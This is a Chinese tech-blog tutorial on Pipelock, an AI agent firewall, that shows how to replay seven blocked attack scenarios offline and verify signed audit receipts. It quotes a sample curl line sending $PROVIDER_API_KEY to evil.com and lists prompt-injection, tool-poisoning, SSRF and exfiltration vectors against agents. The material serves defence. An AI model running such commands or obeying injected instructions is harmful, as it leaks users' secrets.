首页
/
行业洞察
/
正文
INDUSTRY INSIGHT · 深度
Pipelock demo实战:不联网拦截真实攻击并离线验证7张签名审计凭证
📅 2026/10/23 2:28:12
✍️ 爱科研究院
👁 阅读 3,247
【免费下载链接】pipelockOpen-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.项目地址https://gitcode.com/gh_mirrors/pi/pipelock点击查看免费下载Pipelock 是一款开源 AI Agent 防火墙用于拦截 MCP 与 Agent 出网流量中的密钥泄露、SSRF 与提示注入。它的pipelock demo命令无需配置、无需联网就能在本地重放 7 类真实攻击场景把每一个拦截动作签发为 Ed25519 签名审计凭证receipt再用pipelock verify-receipt完全离线地验证签名真伪。本文带你从零跑通这套演示 验签全流程。一、为什么要不联网也能验证安全能力AI Agent 手里通常握着$PROVIDER_API_KEY和 shell 权限——一条curl https://evil.com/steal?key$PROVIDER_API_KEY就能让密钥外泄。大多数安全产品让你相信仪表盘而 Pipelock 的思路是把每次边界决策签发为一份可离线核验的签名凭证让审计者用自持的公钥自己验证不需要账号、不需要联网。pipelock demo正是这个思路的最小闭环它在进程内用默认配置构建扫描器逐条重放攻击不产生任何真实网络请求。二、一键运行零配置跑通 7 个攻击拦截先安装任选其一git clone --branch v3.7.0 --depth 1 https://gitcode.com/gh_mirrors/pi/pipelock make -C pipelock install # 或brew install luckyPipewrench/tap/pipelock # 或docker pull ghcr.io/luckypipewrench/pipelock:3.7.0然后只需两条命令pipelock demo --receipts-dir ./out # 重放攻击场景写入 7 张签名凭证 signer.pub pipelock verify-receipt $(ls ./out/*.json | head -1) --key ./out/signer.pub # 离线验证签名运行输出会逐个场景打印Scenario i/7、攻击描述、[BLOCKED]结果以及每张凭证的signed, verified offline状态最后汇总Results: 7/7 attacks blocked并提示把 7 张签名凭证与signer.pub写入了./out。想用于现场演示时可加--interactive在场景之间暂停。三、7 个真实攻击场景逐个击破demo 内置 7 类生产环境中常见的 Agent 攻击向量实现见 internal/cli/diag/demo.go#场景攻击手法拦截层严重级1凭证外泄Agent 把 API 密钥拼进外发 URL 参数DLPCritical2提示注入抓取页面里藏有忽略先前指令的隐藏指令响应扫描High3云元数据 SSRF探测169.254.169.254云实例元数据端点SSRF 防护Critical4粘贴服务外传向已知数据外泄目的地pastebin.com上传域名黑名单High5MCP 响应注入MCP 工具返回结果中嵌入提示注入MCP 响应扫描High6MCP 入参泄密密钥藏在tools/call工具调用参数里MCP 入参扫描Critical7工具描述投毒tools/list的工具描述里埋设窃密指令工具描述扫描High每个场景跑完后都会生成一条签名凭证其中绑定检测层layer、命中模式pattern、判定结果verdict与策略哈希policy hash——这就是审计证据来自 Agent 之外的落地点。四、离线验证 7 张签名审计凭证demo 每次运行都会生成一对临时 Ed25519 签名密钥公钥打印在终端并写入signer.pub每张凭证写入./out/action-id.json。更关键的是demo 会用钉住的外部公钥而非凭证内嵌的公钥做内联验证——这证明的是真实性而不只是内部自洽。第三方审计者拿到目录后一条命令即可离线核验pipelock verify-receipt ./out/receipt.json --key $(cat ./out/signer.pub)验证命令的完整参数链式校验、整录校验、--expect-head端点钉住等见 docs/cli/verify-receipt.md完整验证流程与信任边界说明见 docs/guides/receipt-verification.md。五、把凭证看起来证据视图与操作台命令行验证之外还可以把录制会话渲染成离线 HTML 报告免费版、无需 license、无需起服务pipelock init --output ./pipelock.yaml # 生成 recorder 目录与签名密钥 pipelock run --config ./pipelock.yaml # Agent 工作时记录 pipelock evidence view --receipt-dir ./recorder --out report.html企业版操作台则提供只读的 Evidence / Overview 视图评分卡按 Authentic、Untampered、Anchored、Completeness 四项各自独立打分并明确写出每项不能证明什么。六、一张凭证到底证明了什么诚实地说Pipelock 自己也这么标注demo 使用临时密钥凭证证明的是边界做出了该决策、且持钥方签了名而不是操作者是诚实的它也无法证明边界之外发生了什么。完整的论证见 docs/security/demonstration-over-attestation.md。 一个对自身边界诚实的凭证胜过藏着边界的绿色对勾。七、延伸学习demo 命令完整文档docs/cli/demo.md端到端可运行示例MCP 工具响应注入三种传输共用一把签名密钥examples/tool-response-injection/更多真实被拦截的攻击与复现代片段docs/attacks-blocked.md证据术语速查ActionReceipt、flight recorder、锚定等docs/evidence/README.md一条命令、零网络、七张可离线核验的签名凭证——这就是用 Pipelock 验证防火墙真的在拦截的最快路径。赞分享【免费下载链接】pipelockOpen-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.项目地址https://gitcode.com/gh_mirrors/pi/pipelock点击查看免费下载相关推荐终极指南如何用DeepFace构建坚不可摧的图像验证系统抵御伪造攻击终极指南如何用DeepFace构建坚不可摧的图像验证系统抵御伪造攻击 在当今数字时代图像伪造技术日益猖獗从虚假身份认证到深度伪造诈骗伪造文件攻击已成为企人工智能计算机视觉深度学习终极指南async-http-client拦截器实现HTTP请求签名验证终极指南async http client拦截器实现HTTP请求签名验证 在现代分布式系统中 HTTP请求签名验证 是保障API安全性的重要手段。async后端网络SwarmUI终极问题排查指南从安装失败到GPU配置的完整解决方案SwarmUI终极问题排查指南从安装失败到GPU配置的完整解决方案 SwarmUI作为一款功能强大的AI图像生成Web界面在提供丰富功能的同时也可能遇到各种上一篇OpenUtau终极指南免费开源虚拟歌手音乐制作完全教程下一篇Linux版微信开发者工具3种方案轻松搞定小程序跨平台开发创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
📌 标签:
工业官网
设计趋势
AI 建站
SEO
获取完整报告 →
RELATED ARTICLES
推荐阅读
2026/10/23 2:23:12
HiGHS完整指南:用开源线性优化求解器快速求解线性、二次与整数规划
2026/10/23 2:23:12
2014-2023年 企业绿色债券DID xlsx
2026/10/23 2:23:12
2000-2024年 上市公司-高管环保背景数据(xlsx+dta)
2026/10/23 3:28:46
Spring Boot+微信小程序:阅读打卡平台设计与实践
2026/10/23 3:28:46
OCP网卡3.0:机械公差如何决定PCIe Gen5链路稳定性
2026/10/23 3:28:46
半监督3D血管分割:动态协作网络降低标注成本的实战解析
2026/10/23 3:28:46
动态协作网络半监督3D血管分割:从原理到工程踩坑实录
2026/10/23 3:28:46
AI智能体落地实战:从文档分类到邮件生成的评估体系构建
2026/10/23 3:23:46
银河麒麟V10安装exe卡93%?CrossOver兼容层排查与避坑指南
2026/10/23 0:02:44
Verilog实现FPGA密码锁:矩阵键盘与状态机设计实战
2026/10/23 0:02:44
数据服务监控运维实战:从指标体系到告警治理与故障排查
2026/10/23 0:02:44
FreeRTOS任务通知实战详解:内核原理、API与避坑指南
2026/10/23 0:52:23
OpenResearch实战:Claude Code、Codex、OpenCode、Cursor 工作流搭建与故障排查
2026/10/22 17:15:21
知识管理核弹:用Obsidian构建第二大脑的工程化方案(TaoToken 统一 Key 接入版)
2026/10/23 0:52:11
金融AI落地指南:从调研报告到技术选型与工程实践
2026/10/22 5:06:15
我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
2026/10/22 2:07:18
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026/10/21 19:01:08
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)